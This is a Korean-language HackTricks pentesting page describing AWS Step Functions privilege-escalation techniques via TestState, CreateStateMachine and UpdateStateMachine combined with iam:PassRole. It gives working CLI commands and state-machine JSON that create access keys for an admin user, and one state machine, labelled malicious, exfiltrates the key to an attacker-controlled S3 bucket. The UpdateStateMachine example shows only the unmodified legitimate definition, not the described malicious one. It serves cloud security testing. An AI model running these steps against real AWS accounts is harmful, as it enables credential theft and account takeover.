AWS - Step Functions Privesc

HackTricks ์ง€์›ํ•˜๊ธฐ

Step Functions

์ด AWS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

์ž‘์—… ๋ฆฌ์†Œ์Šค

์ด ๊ถŒํ•œ ์ƒ์Šน ๊ธฐ์ˆ ์€ ์›ํ•˜๋Š” ๊ถŒํ•œ ์ƒ์Šน ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ถ€ AWS ์Šคํ… ํ•จ์ˆ˜ ๋ฆฌ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“  ๊ฐ€๋Šฅํ•œ ์ž‘์—…์„ ํ™•์ธํ•˜๋ ค๋ฉด ์ž์‹ ์˜ AWS ๊ณ„์ •์œผ๋กœ ๊ฐ€์„œ ์‚ฌ์šฉํ•˜๊ณ  ์‹ถ์€ ์ž‘์—…์„ ์„ ํƒํ•˜๊ณ  ์‚ฌ์šฉํ•˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

๋˜๋Š” API AWS ๋ฌธ์„œ๋กœ ๊ฐ€์„œ ๊ฐ ์ž‘์—… ๋ฌธ์„œ๋ฅผ ํ™•์ธํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

states:TestState & iam:PassRole

states:TestState ๋ฐ iam:PassRole ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๋Š” ๊ธฐ์กด ์ƒํƒœ ๊ธฐ๊ณ„๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์—…๋ฐ์ดํŠธํ•˜์ง€ ์•Š๊ณ ๋„ ๋ชจ๋“  ์ƒํƒœ๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ณ  IAM ์—ญํ• ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์–ด, ์—ญํ• ์˜ ๊ถŒํ•œ์œผ๋กœ ๋‹ค๋ฅธ AWS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์•ก์„ธ์Šค๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์ด ๊ฒฐํ•ฉ๋˜๋ฉด ์›Œํฌํ”Œ๋กœ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๋ฐ์ดํ„ฐ ์œ ์ถœ, ๋ฆฌ์†Œ์Šค ์กฐ์ž‘ ๋ฐ ๊ถŒํ•œ ์ƒ์Šน๊ณผ ๊ฐ™์€ ๊ด‘๋ฒ”์œ„ํ•œ ๋ฌด๋‹จ ์ž‘์—…์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

๋‹ค์Œ ์˜ˆ์ œ๋Š” ์ด๋Ÿฌํ•œ ๊ถŒํ•œ๊ณผ AWS ํ™˜๊ฒฝ์˜ ๊ด€๋Œ€ํ•œ ์—ญํ• ์„ ํ™œ์šฉํ•˜์—ฌ admin ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์•ก์„ธ์Šค ํ‚ค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ์ƒํƒœ๋ฅผ ํ…Œ์ŠคํŠธํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ๊ด€๋Œ€ํ•œ ์—ญํ• ์€ ์ƒํƒœ๊ฐ€ iam:CreateAccessKey ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ณ ๊ธ‰ ๊ถŒํ•œ ์ •์ฑ…(์˜ˆ: arn:aws:iam::aws:policy/AdministratorAccess)์ด ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • ๊ถŒํ•œ ์ƒ์Šน์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰๋œ ๋ช…๋ น์–ด:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

์ž ์žฌ์  ์˜ํ–ฅ: ์Šน์ธ๋˜์ง€ ์•Š์€ ์›Œํฌํ”Œ๋กœ์šฐ ์‹คํ–‰ ๋ฐ ์กฐ์ž‘๊ณผ ๋ฏผ๊ฐํ•œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ, ์ด๋Š” ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„๋ฐ˜์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

states:CreateStateMachine ๋ฐ iam:PassRole ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๋Š” ์ƒํƒœ ๊ธฐ๊ณ„๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ์œ„ํ•ด ์–ด๋–ค IAM ์—ญํ• ์ด๋“  ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์–ด, ์—ญํ• ์˜ ๊ถŒํ•œ์œผ๋กœ ๋‹ค๋ฅธ AWS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์Šน์ธ๋˜์ง€ ์•Š์€ ์ ‘๊ทผ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด์ „์˜ ๊ถŒํ•œ ์ƒ์Šน ๊ธฐ๋ฒ•(states:TestState & iam:PassRole)๊ณผ๋Š” ๋‹ฌ๋ฆฌ, ์ด ๊ธฐ๋ฒ•์€ ์Šค์Šค๋กœ ์‹คํ–‰๋˜์ง€ ์•Š์œผ๋ฉฐ, ์ƒํƒœ ๊ธฐ๊ณ„์—์„œ ์‹คํ–‰์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด states:StartExecution ๋˜๋Š” states:StartSyncExecution ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (**states:StartSyncExecution**์€ **ํ‘œ์ค€ ์›Œํฌํ”Œ๋กœ์šฐ์— ๋Œ€ํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์œผ๋ฉฐ, ํ‘œํ˜„ ์ƒํƒœ ๊ธฐ๊ณ„์—๋งŒ ํ•ด๋‹น๋ฉ๋‹ˆ๋‹ค).

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

๋‹ค์Œ ์˜ˆ์ œ๋Š” admin ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์•ก์„ธ์Šค ํ‚ค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด ์•ก์„ธ์Šค ํ‚ค๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” S3 ๋ฒ„ํ‚ท์œผ๋กœ ์œ ์ถœํ•˜๋Š” ์ƒํƒœ ๊ธฐ๊ณ„๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด๋Š” ์ด๋Ÿฌํ•œ ๊ถŒํ•œ๊ณผ AWS ํ™˜๊ฒฝ์˜ ๊ด€๋Œ€ํ•œ ์—ญํ• ์„ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ด€๋Œ€ํ•œ ์—ญํ• ์€ ์ƒํƒœ ๊ธฐ๊ณ„๊ฐ€ iam:CreateAccessKey ๋ฐ s3:putObject ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ณ ๊ธ‰ ๊ถŒํ•œ ์ •์ฑ…(์˜ˆ: arn:aws:iam::aws:policy/AdministratorAccess)๊ณผ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • ์ƒํƒœ ๋จธ์‹ ์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰๋œ ๋ช…๋ น:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • ๋ช…๋ น์–ด๋Š” ์ด์ „์— ์ƒ์„ฑ๋œ ์ƒํƒœ ๋จธ์‹ ์˜ ์‹คํ–‰์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” S3 ๋ฒ„ํ‚ท์€ ํ”ผํ•ด์ž ๊ณ„์ •์œผ๋กœ๋ถ€ํ„ฐ s3:PutObject ์ž‘์—…์„ ์ˆ˜๋ฝํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ž ์žฌ์  ์˜ํ–ฅ: ์Šน์ธ๋˜์ง€ ์•Š์€ ์›Œํฌํ”Œ๋กœ์šฐ ์‹คํ–‰ ๋ฐ ์กฐ์ž‘๊ณผ ๋ฏผ๊ฐํ•œ ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ, ์ด๋Š” ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„๋ฐ˜์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

states:UpdateStateMachine & (ํ•ญ์ƒ ํ•„์š”ํ•˜์ง€ ์•Š์Œ) iam:PassRole

states:UpdateStateMachine ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๋Š” ์ƒํƒœ ๊ธฐ๊ณ„์˜ ์ •์˜๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋Š” ์ถ”๊ฐ€์ ์ธ ์€๋ฐ€ํ•œ ์ƒํƒœ๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด, ํ•ฉ๋ฒ•์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ์ƒํƒœ ๊ธฐ๊ณ„์˜ ์‹คํ–‰์„ ์‹œ์ž‘ํ•  ๋•Œ, ์ด ์ƒˆ๋กœ์šด ์•…์˜์ ์ธ ์€๋ฐ€ํ•œ ์ƒํƒœ๊ฐ€ ์‹คํ–‰๋˜์–ด ๊ถŒํ•œ ์ƒ์Šน์ด ์„ฑ๊ณตํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ƒํƒœ ๊ธฐ๊ณ„์™€ ์—ฐ๊ฒฐ๋œ IAM ์—ญํ• ์ด ์–ผ๋งˆ๋‚˜ ๊ด€๋Œ€ํ•˜๊ฒŒ ์„ค์ •๋˜์–ด ์žˆ๋Š”์ง€์— ๋”ฐ๋ผ, ๊ณต๊ฒฉ์ž๋Š” ๋‘ ๊ฐ€์ง€ ์ƒํ™ฉ์— ์ง๋ฉดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๊ด€๋Œ€ํ•œ IAM ์—ญํ• : ์ƒํƒœ ๊ธฐ๊ณ„์™€ ์—ฐ๊ฒฐ๋œ IAM ์—ญํ• ์ด ์ด๋ฏธ ๊ด€๋Œ€ํ•˜๋‹ค๋ฉด (์˜ˆ๋ฅผ ๋“ค์–ด arn:aws:iam::aws:policy/AdministratorAccess ์ •์ฑ…์ด ์ฒจ๋ถ€๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ), ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด iam:PassRole ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ƒํƒœ ๊ธฐ๊ณ„ ์ •์˜๋งŒ์œผ๋กœ๋„ ์ถฉ๋ถ„ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

  2. ๋น„๊ด€๋Œ€ํ•œ IAM ์—ญํ• : ์ด์ „ ๊ฒฝ์šฐ์™€ ๋Œ€์กฐ์ ์œผ๋กœ, ์—ฌ๊ธฐ์„œ ๊ณต๊ฒฉ์ž๋Š” ์ƒํƒœ ๊ธฐ๊ณ„ ์ •์˜๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ์ƒํƒœ ๊ธฐ๊ณ„์— ๊ด€๋Œ€ํ•œ IAM ์—ญํ• ์„ ์—ฐ๊ฒฐํ•ด์•ผ ํ•˜๋ฏ€๋กœ iam:PassRole ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

๋‹ค์Œ ์˜ˆ์ œ๋Š” HelloWorld Lambda ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ•ฉ๋ฒ•์ ์ธ ์ƒํƒœ ๊ธฐ๊ณ„๋ฅผ ์—…๋ฐ์ดํŠธํ•˜์—ฌ ์‚ฌ์šฉ์ž **unprivilegedUser**๋ฅผ administrator IAM ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๋Š” ์ถ”๊ฐ€ ์ƒํƒœ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ•ฉ๋ฒ•์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ์—…๋ฐ์ดํŠธ๋œ ์ƒํƒœ ๊ธฐ๊ณ„์˜ ์‹คํ–‰์„ ์‹œ์ž‘ํ•  ๋•Œ ์ด ์ƒˆ๋กœ์šด ์•…์˜์ ์ธ ์Šคํ…”์Šค ์ƒํƒœ๊ฐ€ ์‹คํ–‰๋˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน์ด ์„ฑ๊ณตํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ƒํƒœ ๊ธฐ๊ณ„์— ๊ด€๋Œ€ํ•œ IAM ์—ญํ• ์ด ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๊ด€๋Œ€ํ•œ IAM ์—ญํ• ์„ ์—ฐ๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด IAM ์—ญํ• ์„ ์—…๋ฐ์ดํŠธํ•˜๋Š” iam:PassRole ๊ถŒํ•œ๋„ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: arn:aws:iam::aws:policy/AdministratorAccess ์ •์ฑ…์ด ์—ฐ๊ฒฐ๋œ ์—ญํ• ).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • ์ •์ƒ ์ƒํƒœ ๋จธ์‹ ์„ ์—…๋ฐ์ดํŠธํ•˜๊ธฐ ์œ„ํ•ด ์‹คํ–‰๋œ ๋ช…๋ น:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

์ž ์žฌ์  ์˜ํ–ฅ: ์Šน์ธ๋˜์ง€ ์•Š์€ ์›Œํฌํ”Œ๋กœ์šฐ ์‹คํ–‰ ๋ฐ ์กฐ์ž‘๊ณผ ๋ฏผ๊ฐํ•œ ๋ฆฌ์†Œ์Šค ์ ‘๊ทผ, ์ด๋Š” ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„๋ฐ˜์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HackTricks ์ง€์›ํ•˜๊ธฐ

Last updated